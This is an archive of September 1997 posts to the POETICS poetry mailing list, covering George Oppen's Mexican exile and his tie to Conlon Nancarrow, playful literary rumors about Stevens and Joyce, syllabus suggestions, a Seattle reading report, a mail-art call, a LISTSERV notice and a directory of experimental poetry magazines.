I'm not really aware of this friendship, although it's certainly not surprising. Is there any references that one could offer? There's nothing I recall in Mary Oppen's book about Nancarrow, although the years in exile aren't broached in too much depth there. I've found nothing (yet) in the working papers that suggests a freindship with or otherwise mentions Nancarrow, although it's fairly safe to say that the majority of Oppen's papers were produced after his return to the states (there are a few pages w/ Oppen's address in Mexico at the top, but even these provide little certainty re: dating or location, as it appears that he often used a given page as a kind of worksheet for thought, which he would return to, revise, etc. over often a period of years).

As for Oppen & Mexico: Oppen's leaving Mexico and returning to poetry and to the States had very much to do with a kind of political dissatisfaction. As he puts it in the interview with Burt Hatlen and Tom Mandel: "Rome had recently burned, so there was no reason not to fiddle." Obviously, the party at that point offered little room for the kind of thing Oppen was concerned with in poetry, and he was very careful to keep the two relatively seperate. I'd be hesitant, however, to say that Oppen wanted to put everything in Mexico behind him. He does in the papers refer to some acquaintances and/or experiences from that period, and that he returned after-the-fact to some of his jottings from Mexico (they aren't really poems) suggests a desire to come to terms with that moment.

I think Oppen's relative reticence about those years, in any case, had mostly to do with what he saw as their irrelevance to his poetry. His fondness for quoting Kenner's observation that it essentially took him "25 years to write the next poem" suggests that he saw some validity in the statement. He simply wasn't writing poetry, and so perhaps didn't see those years as essential to his development as a poet.

On this latter, Tom Mandel might have some to say (see his letter in follwing the Hatlen/Mandel interview in "Man and Poet").

OK, apologies for being a bit off topic...

Stephen Cope

> *Don't think there's that much to be known. They were friends while Oppen was in Mexico City-- however after Oppen went back to the states he didn't keep in touch w/ Noncarrow. I have a memory of reading somewhere that Nancarrow was puzzled &/or hurt by this-- but likely it was a reflection of Oppen's feeling about his time there generally, his need to put all that behind him. He didn't even pick up Spanish, unusual for a stay of that length. Again, to qualify-- this also possibly a reflection of his reasons for being there-- the political ostracism & other difficulties attended that. Rachel D or Peter Q if they're out there would have more to say of use than this "knowledge" I'm volunteering.*
>
> *--Rod*

↑ Index

319. **rsillima**

Oppen, Nancarrow, Mexico

Sat 20 Sep 1997

Stephen,

Rachel would know much more about all this than I do. But. George and Mary used to speak of Nancarrow as a friend (whereas, Fred Cody, who founded the bookstore in Berkeley, was simply a guy they shared a ride with as they returned to the US from Mexico City).

Mary once told me that they left for Mexico as a direct result (and perhaps the same week as) the arrest of the Rosenbergs. George was not able to return to the US, as I understand it, until his sister June was able to clear it with the state department that they would not be arrested on their return. June was a major political donor for many decades, one of the major contributors to Mondale, for example. (All this has a very different tone these days of course. And June was a connected Democrat who got this done during a Republican presidency.)

I very much got the impression that neither George or Mary particularly cared for Mexico City, certainly never thought of it as home, and very much had a sense of "exile" the entire time they were there.

Ron

Date: Fri, 19 Sep 1997 18:09:13 -0700
From: Stephen Cope <[redacted]>
Subject: Re: Noncarrow and Oppen

I'm not really aware of this friendship, although it's certainly not surprising. Is there any references that one could offer? There's nothing I recall in Mary Oppen's book about Nancarrow, although the years in exile aren't broached in too

much depth there. I've found nothing (yet) in the working papers that suggests a freindship with or otherwise mentions Nancarrow, although it's fairly safe to say that the majority of Oppen's papers were produced after his return to the states (there are a few pages w/ Oppen's address in Mexico at the top, but even these provide little certainty re: dating or location, as it appears that he often used a given page as a kind of worksheet for thought, which he would return to, revise, etc. over often a period of years).

As for Oppen & Mexico: Oppen's leaving Mexico and returning to poetry and to the States had very much to do with a kind of political dissatisfaction. As he puts it in the interview with Burt Hatlen and Tom Mandel: "Rome had recently burned, so there was no reason not to fiddle." Obviously, the party at that point offered little room for the kind of thing Oppen was concerned with in poetry, and he was very careful to keep the two relatively seperate. I'd be hesitant, however, to say that Oppen wanted to put everything in Mexico behind him. He does in the papers refer to some acquaintances and/or experiences from that period, and that he returned after-the-fact to some of his jottings from Mexico (they aren't really poems) suggests a desire to come to terms with that moment.

I think Oppen's relative reticence about those years, in any case, had mostly to do with what he saw as their irrelevance to his poetry. His fondness for quoting Kenner's observation that it essentially took him "25 years to write the next poem" suggests that he saw some validity in the statement. He simply wasn't writing poetry, and so perhaps didn't see those years as essential to his development as a poet.

On this latter, Tom Mandel might have some to say (see his letter in follwing the Hatlen/Mandel interview in "Man and Poet").

OK, apologies for being a bit off topic...

Stephen Cope

>Don't think there's that much to be known. They were friends while Oppen was
>in Mexico City-- however after Oppen went back to the states he didn't keep
>in touch w/ Noncarrow. I have a memory of reading somewhere that Nancarrow
>was puzzled &/or hurt by this-- but likely it was a reflection of Oppen's
>feeling about his time there generally, his need to put all that behind him.
>He didn't even pick up Spanish, unsusual for a stay of that length. Again, to
>qualify-- this also possibly a reflection of his reasons for being there--
>the political ostracism & other difficulties attended that. Rachel D or Peter

>Q if they're out there would have more to say of use than this "knowledge"
>I'm volunteering.
>
>--Rod

End of POETICS Digest - 18 Sep 1997 to 19 Sep 1997
****

------End forward message----------

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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320. Michael Heller
Oppen/Nancarrow
Sat 20 Sep 1997

I don't know if this information is useful to scholars/poets, but sometime in the late eighties, after George died, I was visiting Mary Oppen in Berkeley (actually Albany), and we had lunch with Nancarrow and his wife who had come back to scout out a school for a child of theirs, a daughter I believe. The memory is a bit hazy, and my notes on the visit are buried somewhere.

At the time, I had neither heard of him or his music, and later, after our lunch, Mary played some of his extraordinary music for me.

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321. Herb Levy
Seeking confirmation of modernist literary rumors
Sat 20 Sep 1997

As always, I await some other Seattleite to start giving fashion reports, attendance records, etc. on the reading scene in Seattle (for that matter what happened to Steven Carll's often entertaining or informative reports on SF readings), but I do want to briefly say that Subtext's Thursday reading was really

great. David Bromige & Robin Blaser were in fine form, David reading all previously unpublished (in paper form, at least, one or two pieces having been posted to this here list) work & Robin read recent work as well as from the new Dante piece.

I was wondering, though, and thought to bring it up to this august group, does anyone know if there's any truth to the rumor I overheard this weekend that Wallace Stevens did NOT write the poems published under his name.. That, rather, his wife wrote them, and that was one of the reasons why guests at the Stevens' home were never introduced to her?

Any feminist critics that have any insights on this? Is Peter Quartermain still reading the list?

For that matter, when I was up in Vancouver a week ago or so, I didn't look at the vile-sounding "reader's edition" of Joyce's Ulysses, those it was prominently displayed in the window of Duthie's downtown. This book won't be available in the US til some time in 1998. Could some Canadian (is it available in the UK yet?) confirm (or deny) that this text does not end with "Yes I said Yes I will Yes" but rather adds the words "said Molly before turning over and falling into a dreamless sleep."

Just thought I should check on these things. Not being an active part of an academic community, I sometimes miss out on the current research til it's on NPR or something.

Bests,

Herb

Herb Levy
[redacted]

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322. Jennifer Ashton
Gertrude Stein's Rose
Sat 20 Sep 1997

Dear subscribers,

I know that Stein's famous line "Rose is a rose is a rose is a rose" first appeared in "Sacred Emily" (1913) and cropped up in later works as well. Unfortunately, I have no easy way to scan through my Stein books for the later uses of the line & would like to be able to get to them more easily. I would be grateful if anyone knows offhand (without troubling to search, that is) which works contain it, apart from _The World Is Round_, of which I am already aware. I am interested not just in uses of the line in literary texts, but in Stein's own explications of it

in lectures and essays or either of the autobiographys. (I am aware of her discussions in _Lectures in America_ and _Narration_, so I don't need those references.) Editions & page numbers, or even approximate locations within chapters would be extremely useful.

Also, I remember seeing reproduced in some edition either of Stein's work or about her a graphic image of the rose around which the line made a circle. I think this was something she had printed up for stationery. If anyone knows of any text where I could find this image, I'd be grateful for that as well. Please copy any replies to me via backchannel. Many thanks in advance.

Jennifer Ashton
Johns Hopkins University
[redacted]

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323. Peter Ganick
concerning mail art
Sat 20 Sep 1997

This is a multi-part message in MIME format.

(Netscape Mail Server v2.02) with ESMTP id AAA4362
for <[redacted]>;
Sat, 20 Sep 1997 08:40:43 -0700
(Netscape Mail Server v2.02) with ESMTP id AAA18032
for <[redacted]>; Sat, 20 Sep 1997 08:35:15 -0700
by mx1.home.com (8.8.5/8.8.5-AtHome) with ESMTP id IAA24583
for <[redacted]>; Sat, 20 Sep 1997 08:40:39 -0700 (PDT)
Date: Sat, 20 Sep 1997 23:10:18 -0300
To: [redacted]
From: Clemente Padin <[redacted]>

Thank you, Peter. If you can please, pass on this call for submission in Mail art, thanks in advance:

STOP
Freedom / Diversity / Pluralism
in the creation and teaching of Art

During many years in Latinoamerican and Chile the art has tolerated the manipulation of totalitarian ideologies and models of production that no agreed with inherent freedom of the creation and artistic teaching.
We are asking your participation sending critical artworks against cultural politics that impose only models of art for to legitimaze the stablishment, i. e.,in order to satisfy the ideological neccesities of maintaining an

ideal world without contradictions, burying under a cover of banalized signs
the injust and inhuman social reality.
Any medium, no returns, no jury. Exhibition in February´98 at the Art Dept.
of the University of Chile.
Deadline : 30th January, 1998
Send to : Art Dept.,University of Chile
Dr. Humberto Nilo Saavedra
Calama Nro. 8435
La Cisterna, Santiago
CHILE

Fraternal greetings,
Clemente Padin
C.Correo Central 1211
11000 Montevideo
URUGUAY Fax (598) 2 95 94 17

----------E66C9B3FE4D6E2B4B479377D--

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324. Steven Marks
Re: Seeking confirmation of modernist literary rumors
Sat 20 Sep 1997

On Sat, 20 Sep 1997, Herb Levy wrote:

> For that matter, when I was up in Vancouver a week ago or so, I didn't look
> at the vile-sounding "reader's edition" of Joyce's Ulysses, those it was
> prominently displayed in the window of Duthie's downtown. This book won't
> be available in the US til some time in 1998. Could some Canadian (is it
> available in the UK yet?) confirm (or deny) that this text does not end
> with "Yes I said Yes I will Yes" but rather adds the words "said Molly
> before turning over and falling into a dreamless sleep."
>
The Sept. 25 issue of New York Review has an article about this Ulysses.
although taken to task on a number of other emendations, nowhere is
mention made of the instance you cite above. Hard to figure out what Danis
Rose was up to in his "reader's edition" with some of his changes, but
then I'm always suspicious of what the NYR has to say. John Kidd, the
author of the review, is founding director of the James Joyce Research
Centre at Boston Univ. I'm no Joyce scholar, so I don't know if he's
nitpicking, adverse to new "readings," or right on the mark. I'm a big
help, aren't I?

best,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

325. **Burt Kimmelman**
Re: Seeking confirmation of modernist literary rumors
Sat 20 Sep 1997

everything i hear about the new "reader's edition" of the joyce is horrible--and virtually everyone, i think, who are members of the societry for textual scholarship would concur with this. no, never mind "virtually"; make that simply "everyone." burt kimmelman

↑ Index

326. **David R. Israel**
Re: Seeking confirmation of modernist literary rumors
Sun 21 Sep 1997

Herb Levy writes,

> *. . . . . does anyone know if there's any truth to the rumor I overheard this weekend that Wallace Stevens did NOT write the poems published under his name.. That, rather, his wife wrote them, and that was one of the reasons why guests at the Stevens' home were never introduced to her?*

such an allegation, if true, would make small fry of recent unplesantnesses in the plagarism department, seems.

Had certainly never heard of this -- but maybe I'd be the last to know. The idea, anyway, finds nice resonance in the plot of Kieslawski's film BLUE (in which a famous modernist-ish [well, neo-romantic] composer's work was, evidently, done by his wife -- or at least that's one reading of the story).

I'll admit to considerable scepticism re: this scandalous rumor; but whether or not it were true anent Wally, I a little bit wonder how well known -- and for how long -- this has been extant qua rumor. Even wonder if Kieslawski's plot were possibly based on the Stevens scandal as such (if such it be ???).

await further word from the wise,
d.i.

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.
.....
............
\\\
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I don't much remember the interview Burt and I did with George, except that I asked him straightforwardly what it said about poetry and his relation to it, and what it said *to* poetry, that he'd left it aside all those years. To this he responded, if I remember right, by quoting Kenner (on himself!). It was not responsive.

It's *very* worth noting that Oppen was *not* in great shape mentally by the time of this interview. There was an immediately sensible limit to the attention he could give our questions. I knew George and Mary pretty well for some years from the late seventies on. I well remember Mary taking me aside to wish that I'd known George when he was himself. Much of George's conversation was fascinating, and he was very alive in the present tense. But attention to his own past often took the conversation into an area of repeated remarks and stories.

His affirmation of Kenner's stitching should surely be seen in that light too.

I did and still do think Oppen's decades away from poetry are significant. I see no reason simply to explain them away. I'd be more interested in what anybody thinks the relation might be between that abandonment and the force of his return.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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328. Steven Marks
Re: Oppen's years away
Sun 21 Sep 1997

On Sun, 21 Sep 1997, Tom Mandel wrote:

> *I did and still do think Oppen's decades away from poetry are significant. I see no reason simply to explain them away. I'd be more interested in what anybody thinks the relation might be between that abandonment and the force of his return.*

Speaking generally about a poet who might abandon and then return rather than Oppen specifically: some poets work in bursts of activity followed by long periods of quiet. Perhaps this is to fill up the well; perhaps boredom; perhaps

other interests; perhaps the demands of making a living; perhaps illnesses; perhaps family problems and illnesses -- the list is, of course, endless..

As for the force of return: exhiliration from new praxes. But this list is endless, too.

in particular,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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329. William Marsh
writing about writing
Sun 21 Sep 1997

Poetics Folks:

putting together a small packet for my cre wri class of what i'm loosely calling "writing about writing" / would greatly appreciate any suggestions for good samples (poems, stories), ie, Stevens' "Of Modern Poetry" / 20th century mostly / the shorter the better

thanks for responses

bill marsh

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330. Stacie Slotnick
Re: writing about writing
Sun 21 Sep 1997

Bill: you might want to look at Grace Paley's story "A Conversation with My Father." The story is a good example of reader-based writing- Paley's narrator revises the story that she is telling several times for the sake of the "audience"- that is, the "father" character of the story. It's a great example of the work of revision, as well as an interesting way to look at the idea of "audience."

Stacie S.

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331. Carl Lynden Peters
Re: writing about writing
Sun 21 Sep 1997

hi there bill!

> *putting together a small packet for my cre wri class of what i'm loosely calling "writing about writing" / would greatly appreciate any suggestions for good samples (poems, stories), ie, Stevens' "Of Modern Poetry" / 20th century mostly / the shorter the better*

bpNichol! (Everything!))

Wordsworth! "Tintern Abbey"

(are you going to anthologize it by nation, genre, etc.

oh this is too much!!

i wld put _Four Quartets_ there. and then go to the sapphires in the mud. and then next go to 'and the fire & the rose are one,' and ask: are they?

lemme know what you do, bill! c.!

↑ Index

332. Daniel Zimmerman
Re: writing about writing
Sun 21 Sep 1997

William Marsh wrote:
>
> Poetics Folks:
>
> putting together a small packet for my cre wri class of what i'm loosely
> calling "writing about writing" / would greatly appreciate any suggestions
> for good samples (poems, stories), ie, Stevens' "Of Modern Poetry" / 20th
> century mostly / the shorter the better
>
> thanks for responses
>
> bill marsh

You might want to include selections from Jack Spicer's _The Heads of the Town up to the Aether_ and _After Lorca_, both in _The Collected Books of Jack Spicer_, edited by Robin Blaser [Black Sparrow]. And from _Writing from the New Coast: Technique_ [o*blek #12]. Many good, short pieces in these sources.

Daniel Zimmerman
Middlesex County College
Edison, NJ

↑ Index

333. Lisa Samuels
Re: Seeking confirmation of modernist literary rumors
Sun 21 Sep 1997

---

herb levy,

i have not heard the rumour that stevens' wife wrote the poems published under his name -- but it is far-fetched at best, according to everything i have read about what people know of his composition processes, conversations he had with people, etc. another resonance of the who-was-shakespeare issue, perhaps? -- or of credible cases in which people central to a writer's productions were not acknowledged in the published works.

lisa s.

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334. Lawrence Upton.
(no subject)
Sun 21 Sep 1997

Steven Marks wrote

<<Speaking generally about a poet who might abandon and then return rather than Oppen specifically: some poets work in bursts of activity followed by long periods of quiet. Perhaps this is to fill up the well; perhaps boredom; perhaps other interests; perhaps the demands of making a living; perhaps illnesses; perhaps family problems and illnesses -- the list is, of course, endless..>>

Carl Rakosi read in London a few days ago. If I heard him aright and I think I did, he said something intriguing re his period of silence - _I was trying not to read poetry because it made me want to write poetry_

L

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335. **Schuchat Simon**
Re: Seeking confirmation of modernist literary rumors
Sun 21 Sep 1997

Wallace Stevens wife modeled the figure of liberty which appears on the obverse of a coin, I'm not sure if it was the pre roosevelt dime or what, maybe the buffalo nickel.

Stevens also said something along the lines of "money is a kind of poetry."

but I always thought that it was John Ashbery who had written all of Wallace Stevens' poetry.

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336. **Schuchat Simon**
Re: NEW Davidson, Debord, Fraser, Ginsberg, Levy &&& @ Bridge Street
Sun 21 Sep 1997

Rod, two additions to the order I emailed in yesterday:

The Clash, by Walter LaFeber, Norton (history of US-Japan relations)

and,

I think there is supposed to be a collected short stories of Ward Just (not The Congressman Who loved Flaubert but something later and more extensive) -- if such exists, please add that to the order.

ad astra,

Simon

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337. **George Bowering**
Re: Seeking confirmation of modernist literary rumors
Sun 21 Sep 1997

> *herb levy,*
>
> *i have not heard the rumour that stevens' wife wrote the poems published under his name --*

Maybe Herb was half-remembering that Mrs Wilson was really presidenting the USA while Wilson was ill, or that that horrible skinny woman was running it when Reagan was foirgetting stuff. And then naturally, confusing poets with presidents (and who wouldnt?), mixed them up with Stevens. I am not

forgetting, me, no, that there is a chance that David Bromige wrote a lot of the poems after Harmonium.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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338. Rachel Levitsky
Argentine Spanish?
Sun 21 Sep 1997

I have two questions concerning Argentinian Spanish

1) What is a jardine eléctrico?

2) What is Platón?

Backchannel if you can help.

Thanks,

RL

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339. Brian Carpenter
subtext w/ Bromige & Blaser
Sun 21 Sep 1997

Although I'm not much of a Boswell, I thought I'd second Herb Levy's note on how excellent this month's Subtext reading at the Speakeasy here in Seattle was. OK, a brief report...

The backroom of the Speakeasy Cafe in the Belltown district holds 50-60 people (or so I guess) and once again seemed at capacity this month. Nowadays there's a stage set up one end of the room to accomodate the ever more regular performances that take place there, theatrical and otherwise. (In June there was a musical show on the Titanic in the middle of its run on this stage. So when Leslie Scalapino read here during that month she shared the stage with a few minor set pieces, little background paintings of icebergs and the Doomed Ship, etc.) Anyhow...

David Bromige was the first reader. This was highly entertaining, as many of the listfolk here would suspect. He opened with the amusing "T is for

Tethered," and followed up with a material from a longer sequence of new work. He also included a bit from the recent David B./David I. thread here on POETICS. As I recall, he was also sporting a pair of red-rimmed glasses, which I had never seen the likes of before. I confess this is probably the best I can do in the way of a fashion report on the event.

I was in conversation in my seat with a friend during the intermission, so I did not have the usual chance to note more completely who was in attendance, although the most of the usual attendees seemed to be there: Herb Levy, Nico Vassilakis, John & Roberta Olson, Bryant Mason, Ezra Mark, Priscilla Long, Reuben Radding. Other folks usually in attendance that I may have missed include Laynie Brown, Robert Mittenthal, and Steven Shaviro. Plenty of other noteable and interesting folks as well, I'm sure, whose faces I don't know yet.

Robin Blaser read during the second half largely from a longer piece "Imagintion 14," although, as Herb mentioned, he included a segment from an apparently very long piece on Dante he is working on. Midway through the reading the activity increased in the pool club directly upstairs. This is a regular occurance. As the second half of the evening progresses the reading becomes punctuated by the occassional taps of cue sticks emanating from the ceiling, along with the more dramatic bonk of billiard ball and subsequently noisy roll. Sometimes music from upstairs or the Speakeasy frontroom starts to creep in on the proceedings. Thankfully, these nagging phenomena weren't as pronounced as they have been in some past months. The man I was talking with during the intermission had studied under Blaser at Simon Fraser University and had commented to me that Blaser had the sort of voice that could make a reading out of a phonebook fascinating. Indeed his reading seemed to confirm this. The man exudes charm.

That's the basics of the evening. A dozen or so folks, myself included, also had the chance to take part in two workshop sessions with David Bromige on Friday evening and Saturday afternoon. This took place an old 2-story elementary school that has been converted into a community center: hardwood floors, old style classrooms and blackboards, creaking chairs. Time well spent for all involved of course. The value, purpose, and applicability of writing exercises discussed and examined in action. Fruitful conversation all around. (This is not too specific, I know.) DB also provided a nice stack of photocopies of material from a variety of writers with whom I, at least, was not familiar. Still enjoying that quite a bit. Thanks again, David!

Next month at Subtext features Ezra Mark and Tom Raworth. This should also warrant some reportage, no doubt. In the meantime...

Salut--

BC

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340. **David Bromige**
Re: Your message to [redacted]
Mon 22 Sep 1997

> *Sun, 21 Sep 1997 20:35:20*
>
> *Your message to [redacted] has been*
> *forwarded to the "list owners" (the people who manage the POETICS list).*
> *If you wanted to reach a human being, you used the correct procedure and*
> *you can ignore the remainder of this message. If you were trying to send*
> *a command for the computer to execute, please read on.*

My message concerned Red Slider, and his request to me (via another list he and I are on) to lend him support in his attempt to find reinstatement on the Poetics List, from which he has been, in his own term, "86'd", for causes he cannot determine. I care both because Red strikes me as a likeable guy worth having with us, & also because I want to know what he did or didnt do to earn a banishment I myself wish to avoid.

Because Red included the correspondence from the Buffalo end with his message, I know that he was being told that, lacking further authentication of either his name or his e-ddress,the Poetics List could not continue his membership. I e-mailed the List e-ddress I had for such matters, & perhaps will receive a human response eventually. Meanwhile, though, I forward this one, because of the chilling, 1984-ish tone of the sentence in the following para, the sentence which begins, "Naturally..." and contains the info that if you write in about someone else's concerns with leaving the List, you may well be eliminated from it yourself. So, if you dont hear from me again, you'll leastwise know down which plughole I went.

Meanwhile, I await clarification of the murky Red Slider 86'd issue--backchannel will do fine.

> *The "listname-request" convention originated on the Internet a long time*
> *ago. At the time, lists were always managed manually, and this address*
> *was defined as an alias for the person(s) in charge of the mailing list.*
> *You would write to the "listname-request" address to ask for information*
> *about the list, ask to be added to the list, make suggestions about the*
> *contents and policy, etc. Because this address was always a human being,*
> *people knew and expected to be talking to a human being, not to a*
> *computer. Unfortunately, some recent list management packages screen*
> *incoming messages to the "listname-request" address and attempt to*
> *determine whether they are requests to join or leave the list. They look*
> *for words such as "subscribe", "add", "leave", "off", and so on. If they*
> *decide your message is a request to join or leave the list, they update*

the list automatically; otherwise, they forward the message to the list owners. Naturally, this means that if you write to the list owners about someone else's unsuccessful attempts to leave the list, you stand good chances of being automatically removed from the list, whereas the list owners will never receive your message. No one really benefits from this. There is no reliable mechanism to contact a human being for assistance, and you can never be sure whether your request will be interpreted as a command or as a message to the list owners. This is why LISTSERV uses two separate addresses, one for the people in charge of the list and one for the computer that runs it. This way you always know what will happen, especially if you are writing in a language other than English.

In any case, if your message was a LISTSERV command, you should now resend it to [redacted]. The list owners know that you have received this message and may assume that you will resend the command on your own. You will find instructions for the most common administrative requests below.

****
* TO LEAVE THE LIST *
****

Write to [redacted] and, in the text of your message (not the subject line), write: SIGNOFF POETICS

****
* TO JOIN THE LIST *
****

Write to [redacted] and, in the text of your message (not the subject line), write: SUBSCRIBE POETICS

****
* FOR MORE INFORMATION *
****

Write to [redacted] and, in the text of your message (not the subject line), write: "HELP" or "INFO" (without the quotes). HELP will give you a short help message and INFO a list of the documents you can order.

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341. **Spencer Selby**
Exp Mag List # 50
Mon 22 Sep 1997

List of Experimental Poetry/Art Magazines P.O. Box 590095 San Francisco CA 94159 U.S. MAGAZINES ### ABACUS, POTEPOETZINE, Peter Ganick, [redacted], 181 Edgemont Ave, Elmwood CT 06110 ### AERIAL, Rod Smith, Box 25642, Wash D.C. 20007 ### AMERICAN BOOK REVIEW, Illinois St Univ. Campus Box 4241, Normal IL 61790 ### AMERICAN LETTERS AND COMMENTARY, Jeanne Beaumont, Anna Rabinowitz, 850 Park Ave Suite 5B, NY NY 10021 ### ANGLE, Brian Lucas, 253 Rose St, San Francisco CA 94102 ### ANT,ANT,ANT,ANT,ANT, Box 16177, Oakland CA 94610 ### ANTENYM, Steve Carll, 106 Fair Oaks #1, San Francisco CA 94110 ### ARRAS, Brian Kim Stefans, 398 Manhattan Ave. Apt 2L, Brooklyn NY 11211 ### ARSHILE, Mark Salerno, Box 3749, L.A. CA 90078 ### BIG ALLIS, Melanie Neilson, 11 Scholes St, Brooklyn NY 11206 ### BULLHEAD, Joe Napora, 2205 Moore St, Ashland KY 41101 ### BURL, David Baptiste Chirot, 2542 N. Farwell #5, Milwaukee WI 53211 ### CHAIN, Juliana Spahr, Dept of English, Univ of Hawaii-Manoa, 1733 Donaghho Rd, Honolulu HI 96822 ### CLWN WR, Box 2165, Church St Station, NY NY 10008 ### COLUMBIA POETRY REVIEW, English Dept of Columbia College, 600 South Michigan Ave, Chicago IL 60605 ### CONJUNCTIONS, 33 W. 9th St., NY NY 10011 ### CRAYON, Andrew Levy, c/o NYU, SCE/ADSD, 50 West 4th St, 225 Shimkin Hall, New York NY 10012 ### CROSS-CULTURAL POETICS, Mark Nowak, College of St Catherine, 601 25 Ave S., Minneapolis MN 55454 ### DENVER QUARTERLY, Dept of English, U. of Denver, Denver CO 80208 ### DIRIGIBLE, David Todd, 101 Cottage St, New Haven CT 06511 ### DISPLACE, KIOSK, English Dept., SUNY at Buffalo, Buffalo NY 14260 ### DISTURBED GUILLOTINE, Fredrik Hausmann, Box 14871, University Station, Minneapolis MN 55414 ### DRIVER'S SIDE AIRBAG, Box 25760, Los Angeles CA 90025 ### DROP FORGE, 315 1/2 Perkins Place, Bozeman MT 59715 ### ELECTRONIC POETRY CENTER (including RIF/T Magazine), Loss Glazier, http://writing.upenn.edu/epc ### ETCETERA, Mindi Englart, Box 8543, New Haven CT, 06531 ### EXILE, Gary Sullivan, 26 Vandam St, New York NY 10013 ### EXPERIODICIST, Jake Berry, Box 3112, Florence AL 35630, [redacted] ### FAR GONE, Box 43745, Lafayette LA 70504 ### FAUCHEUSE, [redacted] ### FELL SWOOP, 3003 Ponce De Leon St, New Orleans LA 70119 ### FIRST INTENSITY, Lee Chapman, Box 665, Lawrence KS 66044 ### FIVE FINGERS REVIEW, Jaime Robles, Box 15426, San Francisco CA 94115 ### FOUND STREET, Larry Tomoyasu, 2260 S. Ferdinand Ave., Monterey Park CA 91754 ### GAS, Kevin Opstedal, 386 Madeline Court, Palo Alto CA 94306 ### GENERATOR, John Byrum, 3203 W. 14th St, Apt 13, Cleveland OH 44109 ### THE GERM, Macgregor Card & Andrew

Maxwell, Box 8501, Santa Cruz CA 95061 ### GESTALTEN, Paul Silvia, 1207 W. 19th St, Lawrence KS 66046 ### GLOBAL MAIL, Grove City Factory Stores, Box 1309, Grove City PA 16127 ### HAMBONE, Nathaniel Mackey, 134 Hunolt St. Santa Cruz CA 95060 ### HAPPY GENIUS, Peter Landers, 34 Rose Circle, Hamlin NY 14464 ### HEAVEN BONE, Steven Hirsch, Box 486, Chester NY 10918 ### HOUSE ORGAN, Kenneth Warren, 1250 Belle Avenue, Lakewood OH 44107 ### HOUSE ORGAN MAGAZINE, N. Conquest, 507 D Ave, Coronado CA 92118 ### IDIOM, http://www.dnai.com/~idiom ### INDEFINITE SPACE, Marcia Arrieta, Box 40101, Pasadena CA 91114 ### THE INTERNATIONAL JOURNAL OF VISUAL POETRY, Charles Maden, 620 Baker St #3, San Francisco CA 94117 ### INTUIT, Don Hilla, 300 Vicksburg #5, San Francisco CA 94114 ### JUXTA, Jim Leftwich, 1512 Mountainside Ct, Charlottesville VA 22903, [redacted] ### KEY SATCH(EL), Gian Lombardo, Box 363, Haydenville MA 01039 ### KOJA, 7314 21st Ave Apt 6E, Brooklyn NY 11204 ### LETTER, Dan Featherston, 3626 E. Blacklidge, Tuscon AZ 85716 ### LIGHTNING & ASH, 3010 Hennepin Ave S. #289, Mpls MN 55454 ### LILLIPUT REVIEW, Don Wentworth, 282 Main St, Pittsburgh PA 15201 ### LINGO, Box 184, West Stockbridge MA 01266 ### THE LITTLE MAGAZINE, English Dept, SUNY at Albany, Albany NY 12222 ### LOGODAEDALUS, Paul Weidenhoff & W.B. Keckler, Box 14193, Harrisburg PA 17104 ### LOST AND FOUND TIMES, John M. Bennett, 137 Leland Ave, Columbus OH 43214 ### LOWER LIMIT SPEECH, A.L. Nielsen, 3055 30th St Apt #2, Boulder CO 80301 ### LVNG, Michael & Peter O'Leary, Box 3865, Chcago IL 60654 ### LYNX, J. & W. Reichold, Box 1250 Gualala CA 95445 ### LYRIC&, Avery Burns, Box 640531, San Francisco CA 94164 ### MASS AVE., Daniel Bouchard, Box 230, Boston MA 02117 ### MEAT EPOCH, Gregory Vincent St Thomasino, 72 Orange St Apt 5B, Brooklyn Hts NY 11201 ### MEMBRANE, Nigel Hinshelwood, 4213 12th St NE, Washington D.C. 20017 ### MESECHABE, Dennis Formento, 1539 Crete St, New Orleans LA 70119 ### MIKE & DALE'S YOUNGER POETS, Michael Price, 766 Valencia St, San Francisco CA 94110 ### MISC. PROJ., Mark Prejsnar, 641 N. Highland Ave. NE #11, Atlanta GA 30306 ### NEDGE, Henry Gould, Janet Sullivan, Box 2321, Providence RI 02906 ### NEW AMERICAN WRITING, Maxine Chernoff & Paul Hoover, 369 Milino, Mill Valley CA 94941 ### NEXUS, Mark Owens, W016A Student Union, Wright St Univ, Dayton OH 45435 ### NO ROSES REVIEW, Carolyn Coo, 1322 N. Wicker Park, Chicago IL 60622 ### OPEN 24 HOURS, Buck Downs, Box 50376, Washington D.C. 20091 ### ORPHEUS GRID, John Noto, Box 420803, San Francisco CA 94142 ### O!!ZONE, Harry Burrus, 1266 Fountain View Dr. Houston TX 77057 ### PAPER RADIO, Box 425, Bremerton WA 98337 ### PARADOX, 36 E. Lorain St, Oberlin OH ### PAVEMENT SAW, David Baratier, 7 James St, Scotia NY 12302 ### PHOEBE, George Mason U., 4400 University Drive, Fairfax VA 22030 ### PHOTOSTATIC RETROFUTURIST, Lloyd Dunn,

